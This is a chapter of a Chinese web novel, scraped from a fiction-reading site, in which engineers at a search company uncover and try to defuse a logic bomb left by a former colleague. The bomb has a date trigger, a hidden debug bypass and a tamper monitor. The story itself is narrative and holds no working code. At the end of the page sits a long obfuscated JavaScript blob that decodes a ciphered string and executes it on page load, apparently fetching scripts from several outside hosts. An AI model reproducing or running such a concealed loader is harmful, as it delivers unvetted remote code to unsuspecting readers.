首页
第三百零九章 拆解定时炸弹
返回
关灯 护眼:关 字号:小

第三百零九章 拆解定时炸弹

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第三百零九章拆解定时炸弹(第1/2页)
    炜杰推开千度办公室的门时,电子钟显示22点43分。
    机房嗡鸣声从走廊尽头传出来。何明坐在三台显示器中间,屏幕光照着他布满血丝的眼睛。听见门响,他猛地转头。
    “你回来了。“何明的声音沙哑,“过来,看这个。“
    炜杰把西装外套搭在椅背上,几步走过去。屏幕上是密密麻麻的代码,绿色字符在黑色背景上跳动。何明的手指敲了一下键盘,光标停在一行高亮的指令上。
    “王志远埋的。藏在日志系统深处,我追了四个调用链才挖出来。“何明指着屏幕,“一个定时触发器。触发条件:系统时间到达一九九九年二月一日零点,存储层版本标识不等于‘协同版二点一点七‘,自动执行三条指令——清空全部索引缓存,重置存储层,删除三十天增量备份。“
    炜杰盯着那行代码,肌肉绷紧了。
    “当前版本号是什么?“
    “协同版一点八点三。“何明咽了口唾沫,“王志远设计的这套版本体系,从一点八到二点一点七,中间隔着至少六道升级关卡。每一关都涉及核心模块改动。正常走,三个月走不完。“
    “他凭什么认定我们会按他的路走?“
    “因为他知道我们别无选择。“何明调出架构图,“这六个模块的‘微调‘不是孤立的,是相互锁定的。查询解析的键值冲突、日志轮转的边界条件、同步层的参数篡改——这些陷阱的解锁条件,正好对应升级到二点一点七路径上的六个节点。你升级到哪里,陷阱就到哪里。你不升级,二月一号全部引爆。“
    炜杰的拳头攥了起来。
    王志远的算盘清晰起来。这不是简单破坏,而是一张路线图。千度要么跟着他画的线走,完成他预设的架构升级;要么坐以待毙。而王志远在搜乎等着——千度升级到哪里,他就做到更好,永远压千度一头。
    “第三条路。“炜杰说。
    何明愣了一下:“什么?“
    “我不走他的路,也不坐着等死。“炜杰的声音不高,每个字都像砸在地板上,“他的触发器依赖系统时间和存储层版本标识。这两个条件里一定有漏洞。找到它,绕过它。“
    何明张了张嘴,点了点头。
    炜杰把李彦强从会议室叫了出来。
    李彦强听完汇报,脸色铁青。他把触发器代码来回看了三遍,一拳砸在桌沿上。
    “王志远这个混蛋。老子当初看他学历好看才招进来,他倒好,给老子送定时炸弹。“
    “现在不是算账的时候。“炜杰说,“还有十九天。“
    李彦强深吸一口气,压下怒火:“你有什么方案?“
    “两条路并行。何明带人拆触发器,找条件漏洞。刘芳做全量数据备份,确保就算触发器炸了也有恢复能力。“炜杰转向门口的老周,“王志远的分词模块你盯死,再查一遍有没有遗漏的后门。“
    老周是运维组的老手,点点头,没多问,转身就走。
    “还有,“炜杰补充,“明天上午黄河创投的老曹来视察,小陈准备演示。不管今晚发生什么,明天照常。“
    小陈是产品组负责对外演示的年轻人,脸白了一下,还是点了点头。
    李彦强看着炜杰:“需要我做什么?“
    “你去睡觉。明天老曹是你主谈,得有精神。“
    “你睡了吗?“
    “我盯着。“
    李彦强看了他几秒,没再争。
    办公室里安静下来,只剩键盘敲击和风扇转动的声音。
    何明把团队分成两组。一组亲自带队盯触发器,另一组检查六个被王志远动过手脚的模块,把每个“微调“的影响范围标出。
    刘芳从机房回来时,头发被静电吹得翘了起来。她抱着一摞备份日志。
    “全量备份昨晚跑完了,完整性校验通过。“她把纸放在桌上,“但三十天增量备份如果被删,恢复时间会很长。“
    “能提前导出到磁带吗?“炜杰问。
    “磁带机速度不够,导出全量要四十八小时。“
    “那就并行导出。“炜杰说,“最关键的索引段优先导,剩下的按优先级排队。“
    刘芳点点头,转身又进了机房。
    何明那边有了发现。他把炜杰叫到屏幕前,指着触发器的条件判断语句:“你看,触发器判断存储层版本标识时,调用了一个叫‘获取版本标记‘的内部函数。这个函数是王志远自己写的,藏在存储层初始化模块里。“
    “所以呢?“
    “函数返回什么值,完全由王志远控制。他表面上让我们升级到二点一点七,实际上这个函数可能还有别的返回路径。“何明推了推眼镜,“我需要时间拆这个函数。“
    “多久?“
    “六个小时。“
    炜杰看了眼墙上的钟,23点15分。
    “给你八个小时。天亮之前我要知道结果。“
    何明低下头,手指在键盘上飞舞起来。
    凌晨一点,炜杰的手机震了一下。
    是苏晓棠发来的短信:“省城复工顺利,金三角三期重新开工,周建国的赔偿到账了。你怎么样?“
    炜杰盯着屏幕看了几秒,回复:“知道了。你注意身体。“
    不到半分钟,手机响了。苏晓棠打来的。
    炜杰走到走廊尽头,压低声音:“喂。“
    “你那边出事了。“苏晓棠的声音不是疑问,是肯定,“‘知道了‘三个字,说明你抽不出手。“
    (本章未完,请点击下一页继续阅读)第三百零九章拆解定时炸弹(第2/2页)
    “有个技术问题,在处理。“
    “严重吗?“
    “能处理。“炜杰顿了一下,“你那边别分心,金三角三期是你下半年的命根子。“
    电话那头安静了两秒。苏晓棠说:“我这边你放心。你——注意身体。“
    “嗯。“
    “挂了吧。“
    电话断了。炜杰把手机揣回兜里,转身走回办公室。
    凌晨四点二十分,何明突然从椅子上弹了起来。
    “找到了!“
    他的喊声把趴在桌上打盹的小陈吓了一跳。炜杰几步走过去,刘芳也从机房探出头来。
    何明指着屏幕,手在发抖:“这个函数内部有一个调试入口。王志远留了隐藏的参数通道——只要传入特定环境变量,函数就会返回‘协同版二点一点七‘,不管实际版本是什么。“
    “环境变量叫什么?“
    “‘调试旁路‘。“何明声音带着压抑不住的兴奋,“这不是生产环境该有的东西,是王志远给自己留的后门。“
    炜杰的眼睛亮了:“也就是说,我们可以在不升级的情况下,让触发器‘认为‘版本已经是二点一点七?“
    “理论上可以。但调试入口只在函数被特定方式调用时才会激活。“何明皱起眉头,“正常流程下,触发器调用这个函数时不会带那个环境变量。“
    “那就改调用方式。“
    “改了就是动触发器代码。“何明的声音沉了下来,“我刚发现,王志远在触发器里埋了防篡改机制。任何对触发器文件的修改,包括时间戳变动,都会立刻激活隐藏进程,提前执行自毁指令。“
    “什么?“刘芳走了过来。
    “他留了双保险。“何明调出另一段代码,“监控进程一直在后台运行,每秒检查一次触发器文件的哈希值。一旦哈希值变了,立刻执行清空操作。不管是不是二月一号。“
    炜杰沉默了。
    直接修改触发器,等于提前引爆炸弹。通过调试入口欺骗版本标识,又需要改变调用方式——同样会触发防篡改机制。
    王志远把所有的路都堵死了。
    何明的眼镜滑到鼻尖上,他也没推。刘芳抱紧了备份日志。小陈站在角落里,脸色发白。
    炜杰走到白板前,拿起马克笔,重重写下三个词:触发器、存储层、备份。
    然后他转过身,看着屋里的人。
    “还有一个办法。“炜杰说,“不碰这台服务器上的任何东西。我们在二月一号之前,把全部数据迁移到全新的服务器上。物理隔离。让触发器在旧机器上执行,但它炸不到新系统。“
    办公室里安静了几秒钟。
    刘芳第一个反应过来:“全新服务器?我们哪来的备用集群?“
    “买。“炜杰说,“明天上午老曹来视察,谈成了资金立刻到位。你们现在列出硬件清单——服务器、交换机、存储阵列,全部按现有集群的两倍容量配。“
    “两倍?“李彦强的声音从门口传来。他没去睡觉,不知什么时候站在了那里。
    “迁移过程中新集群要扛住全部流量,旧集群做备份。“炜杰说,“新系统跑稳了,旧机器直接下线,触发器爱炸就炸。“
    李彦强走进办公室:“钱呢?老曹只是来看演示,未必投。“
    “他不投,我找张建国。“炜杰说,“硬件必须在四十八小时之内到位,否则时间不够。“
    何明算了一下:“全量数据迁移,按现在的索引量,新集群上线至少需要七十二小时才能跑稳。加上硬件到位的时间——“
    “所以我们现在就开始准备。“炜杰打断他,“硬件清单、迁移脚本、数据校验方案——天亮之前全部交到我桌上。老曹上午十点到,如果他能当场拍板,中午就能开始采购。“
    他环视一圈,从何明、刘芳、老周、小陈、李彦强脸上扫过。
    “王志远以为他把我们逼到了墙角。他错了。我们不拆他的炸弹,我们直接搬家。让他炸一座空房子。“
    何明眼睛亮了起来。刘芳把备份日志往桌上一放,转身往机房走。老周从分词代码堆里抬起头,比了个大拇指。
    凌晨四点五十分。距离老曹到访五个小时,距离二月一号十八天。
    何明坐回电脑前,手指悬在键盘上方,停住了。
    “等等。“他转过头,脸色变了,“我检查那个调试入口的时候,发现了一件更麻烦的事。“
    炜杰看着他。
    “那个‘获取版本标记‘函数——它不只是在触发器里被调用。“何明的声音干涩,“王志远把它嵌进了存储层的初始化流程里。每次系统重启,存储层都会检查这个版本标识。“
    “所以呢?“
    “如果我们迁移到新服务器,新系统第一次启动时,初始化流程会尝试读取旧存储层的版本标识。如果标识不对——“何明停顿了一下,“新系统可能根本就起不来。“
    炜杰的瞳孔收缩了。
    王志远的陷阱更深。他不仅想让千度在旧系统上自毁,还想让千度即便换了新系统,也逃不出他设计的牢笼。
    除非——他们能在迁移之前,找到一种方式,既不触发防篡改机制,又能把版本标识改对。
    何明看着炜杰,等他回答。
    墙上的电子钟指向05:00:00。
    距离老曹到访,五个小时。
    距离二月一号,十八天零十九小时。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();